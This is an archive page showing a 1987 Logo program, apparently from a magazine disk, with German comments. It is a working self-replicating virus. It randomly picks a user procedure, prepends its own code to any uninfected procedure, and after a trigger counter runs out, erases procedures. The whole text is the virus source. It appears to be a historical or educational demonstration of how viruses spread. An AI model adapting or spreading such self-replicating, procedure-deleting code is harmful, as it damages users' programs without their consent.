home *** CD-ROM | disk | FTP | other *** search
/ Turbo Toolbox / Turbo_Toolbox.iso / 1987 / 11 / virus3.log < prev    next >
Encoding:
Text File  |  1987-09-02  |  1.3 KB  |  26 lines
  1. TO VIRUSBì
  2.  LABEL "ABCDEì
  3.   LOCAL "RAND                ;ZUFALLSZAHL FUER WAHLì
  4.   LOCAL "NAME                ;NAME DES GEWAEHLTEN WORTESì
  5.   LOCAL "KENN              ;KENNUNG DES VIRUSì
  6.   LOCAL "ANW_WORT            ;ANWEISUNGEN DES WORTESì
  7.   LOCAL "ANW_VIRUS           ;ANWEISUNGEN DES VIRUSì
  8.   LOCAL "PAR_LIST            ;PARAMETERLISTE DES WORTESì
  9.   LOCAL "DEF_NEU             ;NEUE DEFINITION DES WORTES
  10.  
  11.   MAKE "RAND 1 + RANDOM COUNT PROCLIST    ;LOGO-WORT AUSWAEHLEN ì
  12.   MAKE "NAME ITEM :RAND PROCLIST          ;NAMEN DES WORTES HOLENì
  13.   MAKE "KENN FIRST BF FIRST BF TEXT :NAME ;KENNUNG HOLENì
  14.   IF (NOT :KENN = ""ABCDE) [GO "INFIZ]    ;NOCH NICHT INFIZIERT?
  15.   MAKE "VIRUSVAR :VIRUSVAR-1    ;AUSLOESERVARIABLE HERUNTERSETZENì
  16.   IF (:VIRUSVAR < 0) [ER :NAME STOP]   ;AUSLOESERBEDINGUNG TESTENì
  17.   GO "ENDE                             ;NICHT INFIZIEREN
  18.  LABEL "INFIZì
  19.   MAKE "PAR_LIST FIRST TEXT :NAME   ;PARAMETERLISTE HOLENì
  20.   MAKE "ANW_VIRUS BF TEXT "VIRUSB   ;ANWEISUNGEN VON "VIRUSB HOLENì
  21.   MAKE "ANW_WORT BF TEXT :NAME      ;ANWEISUNGEN DES WORTES HOLENì
  22.   MAKE "DEF_NEU FPUT :PAR_LIST (SE :ANW_VIRUS :ANW_WORT)
  23.   DEFINE :NAME :DEF_NEU             ;WORT NEU DEFINIEREN
  24.  LABEL "ENDE
  25. END
  26.